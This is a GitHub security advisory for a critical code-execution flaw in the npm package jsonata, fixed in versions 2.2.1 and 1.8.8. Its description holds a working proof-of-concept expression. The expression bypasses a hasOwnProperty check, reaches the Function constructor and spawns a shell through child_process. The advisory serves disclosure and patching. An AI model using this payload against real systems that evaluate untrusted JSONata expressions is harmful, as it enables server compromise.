GitHub Advisoryadvisory · npm

GHSA-2943-5xfg-gq5f JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

CRITICAL Published 2026-08-21 Modified 2026-08-21 Official page ↗

Aliases: CVE-2026-77414
Ecosystem: npm
Packages: jsonata
Severity: Critical
CVSS vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weaknesses: CWE-94
Reviewed: 2026-08-21

Affected packages

• npm jsonata: >= 2.0.0, < 2.2.1 → fixed in 2.2.1 • npm jsonata: < 1.8.8 → fixed in 1.8.8

Description

Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a bypassable `hasOwnProperty` check in `environment.lookup` https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871 This was fixed in https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865) which is included in the `2.2.1` release, and then back-ported to the `1.8.8` release. PoC ```js import jsonata from "jsonata"; const expression = jsonata(` ( $hasOwnProperty := $spread($string); $__proto__ := $constructor; $constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")(); )`); await expression.evaluate({}); ```

Related

Alias · CVE (1)

CVE-2026-77414 JSONata is a JSON query and transformation language. vulnerability

Weakness · CWE (1)

CWE-94 Improper Control of Generation of Code weakness

References